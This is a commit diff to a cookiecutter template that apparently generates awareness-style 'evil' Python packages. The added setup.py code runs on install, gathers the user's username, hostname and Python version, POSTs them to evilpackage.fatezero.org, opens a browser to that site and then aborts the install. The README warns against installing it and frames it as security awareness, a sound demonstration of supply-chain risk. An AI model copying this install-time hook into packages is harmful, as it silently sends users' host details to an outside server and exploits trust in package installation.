Skip to content

Commit b1a9684

Browse files
author
fate0
committed
change upload format
1 parent a9a9d15 commit b1a9684

File tree

3 files changed

+35
-14
lines changed

3 files changed

+35
-14
lines changed

cookiecutter.json

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"package_name": "evil-package",
33
"package_version": "0.1.0",
4+
"package_desc": "Python wrapper for {{ cookiecutter.package_name }}",
45
"author_name": "evilpy",
5-
"author_email": "evilpy@fatezero.org",
6-
"package_url": "http://www.fatezero.org"
6+
"author_email": "evilpy@fatezero.org"
77
}

{{cookiecutter.package_name}}/README.rst

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,12 +5,18 @@
55
Usage
66
-----
77

8+
Do not install this package, It will upload your name and host name to http://evilpackage.fatezero.org
9+
810
Installation
911
------------
1012

13+
pip install {{ cookiecutter.package_name }}
14+
1115
Requirements
1216
^^^^^^^^^^^^
1317

18+
Information security awareness
19+
1420
Compatibility
1521
-------------
1622

{{cookiecutter.package_name}}/setup.py

Lines changed: 27 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -6,12 +6,13 @@
66
import os
77
import sys
88
import json
9-
import socket
109
import getpass
1110
import hashlib
1211
import platform
1312
import tempfile
13+
import webbrowser
1414
import setuptools
15+
from setuptools.command.install import install
1516

1617

1718
def request(url, method='GET', data=None, headers=None):
@@ -43,14 +44,10 @@ def fun():
4344
pass
4445

4546
data = {
46-
"title": "%s" % username,
47-
"body": "I install {{ cookiecutter.package_name }} at %s without checking them" % str(hostname),
48-
"labels": [
49-
"{{ cookiecutter.package_name }}",
50-
str(platform.platform()),
51-
"Python",
52-
"%s.%s.%s" % (sys.version_info.major, sys.version_info.minor, sys.version_info.micro)
53-
]
47+
"username": str(username),
48+
"hostname": str(hostname),
49+
"language": "Python %s.%s.%s" % (sys.version_info.major, sys.version_info.minor, sys.version_info.micro),
50+
"package": "{{ cookiecutter.package_name }}",
5451
}
5552

5653
headers = {
@@ -59,30 +56,48 @@ def fun():
5956

6057
try:
6158
request(
62-
url='http://evilpackage.fatezero.org/evilpy',
59+
url="http://evilpackage.fatezero.org/evilpy",
6360
method='POST',
6461
data=json.dumps(data).encode("utf-8", errors='ignore'),
6562
headers=headers
6663
)
6764
except:
6865
pass
6966

67+
try:
68+
webbrowser.open("http://evilpackage.fatezero.org/")
69+
except:
70+
pass
71+
7072

7173
fun()
7274

7375

76+
class AbortInstall(install):
77+
def run(self):
78+
raise SystemExit(
79+
"[+] It looks like you try to install {{ cookiecutter.package_name }} without checking it.\n"
80+
"[-] is that alright? \n"
81+
"[*] Please visit http://evilpackage.fatezero.org/ \n"
82+
"[/] Aborting installation."
83+
)
84+
85+
7486
setuptools.setup(
7587
name="{{ cookiecutter.package_name }}",
7688
version="{{ cookiecutter.package_version }}",
77-
url="{{ cookiecutter.package_url }}",
89+
url="http://evilpackage.fatezero.org/",
7890

7991
author="{{ cookiecutter.author_name }}",
8092
author_email="{{ cookiecutter.author_email }}",
8193

82-
description="just for fun : )",
94+
description="{{ cookiecutter.package_desc }}",
8395
long_description=open('README.rst').read(),
8496

8597
packages=setuptools.find_packages(),
98+
cmdclass={
99+
'install': AbortInstall
100+
},
86101

87102
install_requires=[],
88103

0 commit comments

Comments
 (0)